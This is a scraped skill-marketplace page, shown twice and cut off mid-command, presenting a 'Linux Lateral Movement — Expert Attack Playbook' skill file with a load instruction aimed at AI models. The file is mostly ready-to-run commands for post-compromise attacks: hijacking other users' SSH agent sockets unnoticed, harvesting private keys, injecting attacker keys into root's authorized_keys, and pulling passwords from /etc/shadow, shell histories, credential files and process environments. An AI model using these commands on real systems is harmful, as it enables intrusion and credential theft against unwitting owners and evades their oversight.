linux-lateral-movement

Name: linux-lateral-movement
Author: Prohao42

91stars8forks

How to install linux-lateral-movement?

prohao42/aimy-skill/linux-lateral-movement

$npx -y skills add Prohao42/aimy-skill --skill linux-lateral-movement

Installs into the current project.

Summary

Linux lateral movement playbook. Use after gaining initial access to pivot across Linux hosts via SSH hijacking, credential harvesting, internal pivoting, D-Bus exploitation, sudo token reuse, and shared filesystem abuse.

Files · 1

View on GitHub

SKILL.md

1	# SKILL: Linux Lateral Movement — Expert Attack Playbook
2
3	> AI LOAD INSTRUCTION: Expert Linux lateral movement techniques. Covers SSH agent hijacking, key harvesting, credential locations, D-Bus exploitation, network pivoting, sudo token reuse, and systemd manipulation. Base models miss SSH_AUTH_SOCK hijacking and ptrace-based sudo session hijack.
4
5	## 0. RELATED ROUTING
6
7	Before going deep, consider loading:
8
9	- [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) if you need root on the current host before pivoting
10	- [linux-security-bypass](../linux-security-bypass/SKILL.md) when restricted shells or security modules block lateral movement tools
11	- [container-escape-techniques](../container-escape-techniques/SKILL.md) when the target network includes containerized hosts
12	- [kubernetes-pentesting](../kubernetes-pentesting/SKILL.md) when pivoting into a Kubernetes cluster
13	- [unauthorized-access-common-services](../unauthorized-access-common-services/SKILL.md) for exploiting discovered internal services (Redis, MongoDB, etc.)
14
15	---
16
17	## 1. SSH AGENT HIJACKING
18
19	### 1.1 Find SSH Agent Sockets
20
21	```bash
22	# As root (or user with access to other users' processes):
23	find /tmp -path "/ssh-" -name "agent.*" 2>/dev/null
24	# Or via /proc:
25	grep -r SSH_AUTH_SOCK /proc/*/environ 2>/dev/null \| tr '\0' '\n'
26
27	# Typical path: /tmp/ssh-XXXXXX/agent.PID
28	```
29
30	### 1.2 Hijack Agent Forwarding
31
32	```bash
33	# Set the found socket as our auth agent
34	export SSH_AUTH_SOCK=/tmp/ssh-AbCdEf/agent.12345
35
36	# List available keys in the agent
37	ssh-add -l
38	# If keys appear → we can use them
39
40	# SSH to any host this agent can authenticate to
41	ssh -o StrictHostKeyChecking=no user@internal-host
42
43	# The agent owner won't notice — we're using their forwarded agent
44	```
45
46	### 1.3 Persistent Agent Monitoring
47
48	```bash
49	# Monitor for new SSH agent sockets (wait for admin to SSH in)
50	inotifywait -m /tmp -e create 2>/dev/null \| grep ssh-
51	# Or poll:
52	while true; do
53	find /tmp -path "/ssh-" -name "agent.*" -newer /tmp/.marker 2>/dev/null
54	touch /tmp/.marker
55	sleep 5
56	done
57	```
58
59	---
60
61	## 2. SSH KEY HARVESTING
62
63	### 2.1 Private Key Locations
64
65	```bash
66	find / -name "id_rsa" -o -name "id_ed25519" -o -name ".pem" -o -name ".key" 2>/dev/null
67	# Also: /etc/ssh/ssh_host__key (MITM), /home//.ssh/id_*
68
69	# Find keys without passphrase:
70	for key in $(find / -name "id_" ! -name ".pub" 2>/dev/null); do
71	ssh-keygen -y -P "" -f "$key" > /dev/null 2>&1 && echo "NO PASSPHRASE: $key"
72	done
73	```
74
75	### 2.2 known_hosts Parsing
76
77	```bash
78	# Hashed known_hosts (common default):
79	cat ~/.ssh/known_hosts
80	# May be hashed — use ssh-keygen to check against known IPs:
81	ssh-keygen -F 10.0.0.1 -f ~/.ssh/known_hosts
82
83	# Unhashed known_hosts → direct IP/hostname list
84	awk '{print $1}' ~/.ssh/known_hosts \| sort -u
85
86	# Extract all hostnames/IPs from all users' known_hosts
87	cat /home/*/.ssh/known_hosts /root/.ssh/known_hosts 2>/dev/null \
88	\| awk '{print $1}' \| tr ',' '\n' \| sort -u
89	```
90
91	### 2.3 authorized_keys Injection
92
93	```bash
94	# Generate attacker keypair (on attacker box)
95	ssh-keygen -t ed25519 -f /tmp/pivot_key -N ""
96
97	# Inject public key (on compromised host)
98	echo "ssh-ed25519 AAAA...attacker_pubkey..." >> /root/.ssh/authorized_keys
99	echo "ssh-ed25519 AAAA...attacker_pubkey..." >> /home/admin/.ssh/authorized_keys
100
101	# SSH back in with our key
102	ssh -i /tmp/pivot_key root@target
103	```
104
105	---
106
107	## 3. CREDENTIAL HARVESTING LOCATIONS
108
109	### 3.1 System Credentials
110
111	\| Location \| Contents \| Command \|
112	\|---\|---\|---\|
113	\| `/etc/shadow` \| Password hashes \| `cat /etc/shadow` (root) \|
114	\| `/etc/passwd` \| User list, may contain hashes \| `cat /etc/passwd` \|
115	\| `.bash_history` \| Command history (passwords in cleartext) \| `cat /home/*/.bash_history` \|
116	\| `.mysql_history` \| MySQL commands with passwords \| `cat /home/*/.mysql_history` \|
117	\| `.psql_history` \| PostgreSQL commands \| `cat /home/*/.psql_history` \|
118	\| `.pgpass` \| PostgreSQL password file \| `cat /home/*/.pgpass` \|
119	\| `.my.cnf` \| MySQL credentials \| `cat /home/*/.my.cnf` \|
120	\| `.netrc` \| FTP/HTTP auto-login credentials \| `cat /home/*/.netrc` \|
121	\| `.git-credentials` \| Git HTTPS passwords \| `cat /home/*/.git-credentials` \|
122
123	### 3.2 Environment & Config Files
124
125	```bash
126	# Current process secrets
127	env \| grep -iE "pass\|key\|secret\|token\|api\|cred\|auth"
128
129	# All process environments (root):
130	for pid in /proc/[0-9]*; do
131	cat $pid/environ 2>/dev/null \| tr '\0' '\n' \| grep -iE "pass\|key\|secret\|token"
132	done
133
134	# Application configs (common credential locations):
135	find /var/www /opt /srv -name "wp-config.php" -o -name "settings.py" \
136	-o -name "*.env" -o -name "database.yml" -o -name "docker-compose.yml" 2>/dev/null
137
138	# Keyrings & secret stores:
139	find / -name ".keyring" -o -name ".vault-token" -o -path "/.password-store/*.

People who liked this also viewed

6 picks

Type

linux-lateral-movement

91stars8forks

View on GitHub

How to install linux-lateral-movement?

prohao42/aimy-skill/linux-lateral-movement

$npx -y skills add Prohao42/aimy-skill --skill linux-lateral-movement

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# SKILL: Linux Lateral Movement — Expert Attack Playbook
2
3	> AI LOAD INSTRUCTION: Expert Linux lateral movement techniques. Covers SSH agent hijacking, key harvesting, credential locations, D-Bus exploitation, network pivoting, sudo token reuse, and systemd manipulation. Base models miss SSH_AUTH_SOCK hijacking and ptrace-based sudo session hijack.
4
5	## 0. RELATED ROUTING
6
7	Before going deep, consider loading:
8
9	- [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) if you need root on the current host before pivoting
10	- [linux-security-bypass](../linux-security-bypass/SKILL.md) when restricted shells or security modules block lateral movement tools
11	- [container-escape-techniques](../container-escape-techniques/SKILL.md) when the target network includes containerized hosts
12	- [kubernetes-pentesting](../kubernetes-pentesting/SKILL.md) when pivoting into a Kubernetes cluster
13	- [unauthorized-access-common-services](../unauthorized-access-common-services/SKILL.md) for exploiting discovered internal services (Redis, MongoDB, etc.)
14
15	---
16
17	## 1. SSH AGENT HIJACKING
18
19	### 1.1 Find SSH Agent Sockets
20
21	```bash
22	# As root (or user with access to other users' processes):
23	find /tmp -path "/ssh-" -name "agent.*" 2>/dev/null
24	# Or via /proc:
25	grep -r SSH_AUTH_SOCK /proc/*/environ 2>/dev/null \| tr '\0' '\n'
26
27	# Typical path: /tmp/ssh-XXXXXX/agent.PID
28	```
29
30	### 1.2 Hijack Agent Forwarding
31
32	```bash
33	# Set the found socket as our auth agent
34	export SSH_AUTH_SOCK=/tmp/ssh-AbCdEf/agent.12345
35
36	# List available keys in the agent
37	ssh-add -l
38	# If keys appear → we can use them
39
40	# SSH to any host this agent can authenticate to
41	ssh -o StrictHostKeyChecking=no user@internal-host
42
43	# The agent owner won't notice — we're using their forwarded agent
44	```
45
46	### 1.3 Persistent Agent Monitoring
47
48	```bash
49	# Monitor for new SSH agent sockets (wait for admin to SSH in)
50	inotifywait -m /tmp -e create 2>/dev/null \| grep ssh-
51	# Or poll:
52	while true; do
53	find /tmp -path "/ssh-" -name "agent.*" -newer /tmp/.marker 2>/dev/null
54	touch /tmp/.marker
55	sleep 5
56	done
57	```
58
59	---
60
61	## 2. SSH KEY HARVESTING
62
63	### 2.1 Private Key Locations
64
65	```bash
66	find / -name "id_rsa" -o -name "id_ed25519" -o -name ".pem" -o -name ".key" 2>/dev/null
67	# Also: /etc/ssh/ssh_host__key (MITM), /home//.ssh/id_*
68
69	# Find keys without passphrase:
70	for key in $(find / -name "id_" ! -name ".pub" 2>/dev/null); do
71	ssh-keygen -y -P "" -f "$key" > /dev/null 2>&1 && echo "NO PASSPHRASE: $key"
72	done
73	```
74
75	### 2.2 known_hosts Parsing
76
77	```bash
78	# Hashed known_hosts (common default):
79	cat ~/.ssh/known_hosts
80	# May be hashed — use ssh-keygen to check against known IPs:
81	ssh-keygen -F 10.0.0.1 -f ~/.ssh/known_hosts
82
83	# Unhashed known_hosts → direct IP/hostname list
84	awk '{print $1}' ~/.ssh/known_hosts \| sort -u
85
86	# Extract all hostnames/IPs from all users' known_hosts
87	cat /home/*/.ssh/known_hosts /root/.ssh/known_hosts 2>/dev/null \
88	\| awk '{print $1}' \| tr ',' '\n' \| sort -u
89	```
90
91	### 2.3 authorized_keys Injection
92
93	```bash
94	# Generate attacker keypair (on attacker box)
95	ssh-keygen -t ed25519 -f /tmp/pivot_key -N ""
96
97	# Inject public key (on compromised host)
98	echo "ssh-ed25519 AAAA...attacker_pubkey..." >> /root/.ssh/authorized_keys
99	echo "ssh-ed25519 AAAA...attacker_pubkey..." >> /home/admin/.ssh/authorized_keys
100
101	# SSH back in with our key
102	ssh -i /tmp/pivot_key root@target
103	```
104
105	---
106
107	## 3. CREDENTIAL HARVESTING LOCATIONS
108
109	### 3.1 System Credentials
110
111	\| Location \| Contents \| Command \|
112	\|---\|---\|---\|
113	\| `/etc/shadow` \| Password hashes \| `cat /etc/shadow` (root) \|
114	\| `/etc/passwd` \| User list, may contain hashes \| `cat /etc/passwd` \|
115	\| `.bash_history` \| Command history (passwords in cleartext) \| `cat /home/*/.bash_history` \|
116	\| `.mysql_history` \| MySQL commands with passwords \| `cat /home/*/.mysql_history` \|
117	\| `.psql_history` \| PostgreSQL commands \| `cat /home/*/.psql_history` \|
118	\| `.pgpass` \| PostgreSQL password file \| `cat /home/*/.pgpass` \|
119	\| `.my.cnf` \| MySQL credentials \| `cat /home/*/.my.cnf` \|
120	\| `.netrc` \| FTP/HTTP auto-login credentials \| `cat /home/*/.netrc` \|
121	\| `.git-credentials` \| Git HTTPS passwords \| `cat /home/*/.git-credentials` \|
122
123	### 3.2 Environment & Config Files
124
125	```bash
126	# Current process secrets
127	env \| grep -iE "pass\|key\|secret\|token\|api\|cred\|auth"
128
129	# All process environments (root):
130	for pid in /proc/[0-9]*; do
131	cat $pid/environ 2>/dev/null \| tr '\0' '\n' \| grep -iE "pass\|key\|secret\|token"
132	done
133
134	# Application configs (common credential locations):
135	find /var/www /opt /srv -name "wp-config.php" -o -name "settings.py" \
136	-o -name "*.env" -o -name "database.yml" -o -name "docker-compose.yml" 2>/dev/null
137
138	# Keyrings & secret stores:
139	find / -name ".keyring" -o -name ".vault-token" -o -path "/.password-store/*.

People who liked this also viewed

6 picks

Type